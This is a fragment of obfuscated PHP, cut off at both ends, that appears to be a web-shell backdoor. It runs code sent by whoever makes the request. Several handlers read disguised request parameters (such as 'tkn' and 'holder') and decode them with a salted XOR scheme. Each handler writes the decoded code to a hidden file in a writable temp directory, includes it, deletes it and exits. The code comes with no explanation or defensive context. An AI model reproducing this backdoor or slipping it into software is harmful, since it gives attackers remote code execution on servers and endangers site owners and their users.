= $__len) break; $v6= $flg[$x]; $chS= ord($salt5[$x % $lenS]); $d= ((int)$v6 - $chS - ($x % 10)) ^ 33; $dchunk .= chr($d); $x++; } while (true); foreach ($element as $mrk): if (max(0, is_dir($mrk) * is_writable($mrk))) { $elem = join("/", [$mrk, ".ent"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $elem; @unlink($elem); die(); } } endforeach; } if(filter_has_var(INPUT_POST, "t\x6B\x6E")){ $val = $_REQUEST["t\x6B\x6E"]; $val= explode ( '.' ,$val ) ; $mrk = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $p = 0; array_walk($val, function($v1) use(&$mrk, &$p, $s2, $sLen) { $sChar = ord($s2[$p % $sLen]); $dec =((int)$v1 - $sChar -($p % 10)) ^ 62; $mrk .= chr($dec); $p++;} ); $value = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), "/var/tmp"]); $record = 0; do { $flag = $value[$record] ?? null; if ($record >= count($value)) break; if (!( !is_dir($flag) || !is_writable($flag) )) { $pointer = join("/", [$flag, ".key"]); if (@file_put_contents($pointer, $mrk) !== false) { include $pointer; unlink($pointer); die(); } } $record++; } while (true); } if(array_key_exists("\x68ol\x64er", $_REQUEST)){ $mrk = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp"]); $rec = $_REQUEST["\x68ol\x64er"]; $rec = explode ( '.' , $rec) ; $resource = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $o = 0; while ($o < count($rec)) { $v4 = $rec[$o]; $sChar = ord($salt3[$o % $lenS]); $d = ((int)$v4 - $sChar - ($o % 10)) ^ 79; $resource .= chr($d); $o++; } while ($token = array_shift($mrk)) { if (is_dir($token) ? is_writable($token) : false) { $hld = sprintf("%s/.ent", $token); if (file_put_contents($hld, $resource)) { require $hld; unli